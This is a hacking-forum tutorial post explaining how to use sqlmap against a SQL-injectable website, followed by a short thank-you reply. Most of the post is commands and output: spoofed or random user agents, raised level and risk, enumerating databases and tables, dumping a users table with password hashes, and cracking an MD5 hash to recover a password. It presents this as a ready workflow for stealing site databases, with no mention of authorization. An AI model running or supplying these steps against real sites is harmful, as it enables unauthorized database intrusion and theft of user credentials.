

Forum: [Hack Forums](#)

Thread: [\[TUT\] SQLMap Usage](#)

ReverseZ - May 7, 2020, 5:39 pm

SQLmap is a powerful tool to exploit SQLi vulnerabilities, the basic usage is explained in this tutorial.

Code :~\$ sqlmap -u "http://website.com/v...rable?query=50" --db

Although there are many options to tailor sqlmap:

You can set a User-Agent to be sent with the requests with

--user-agent=GoogleBOT

Or set a randomly generated one with

--random-agent

You can also set the number of threads to be used with

--threads=5 (default is 1)

If the SQLi is boolean-based blind then you may need to audit the query a lot more by upping the default level and risk of 1 to 5 and 3, this will be more noisy but may be required, also if it's boolean blind you want threads to be 1

--level=5

--risk=3

One of my favourite options is forcing the DBMS

--dbms=mysql (or postgresql/microsoft sql server etc)

Optimization options can be important too, to enable all of them you would use -o but i usually just use --keep-alive

Now let's use what we have learnt:

:~\$ sqlmap -u "http://website.com/v...rable?query=50" --threads=5 --level=5 --risk=3 --random-agent --dbms=mysql --keep-alive --dbs

If successful as well as displaying information detailing the payload you should see available databases [2]:

[*] information_schema

[*] Main_DB (or whatever it's called, there also may be 4 or even 20 DBs)

Now Press the up arrow to see the previous command but replace the --db option with -D NameofDB and add --tables
this will list the tables for that database

Now you can -D NameofDB -T TableName --columns --dump
or

-D NameofDB -T TableName -C ColumnName --dump

+----+-----+
| id | username | password

+----+-----+
| 1 | Anon | 5f4dcc3b5aa765d61d8327deb882cf99
+----+-----+

Now you just need to identify and crack the hash, in this case it's MD5 and the password is "password", sometimes if the sysadmin is lazy the passwords will be in plain-text

4751 - May 8, 2020, 4:07 am
Hey nice tutorial thanks for sharing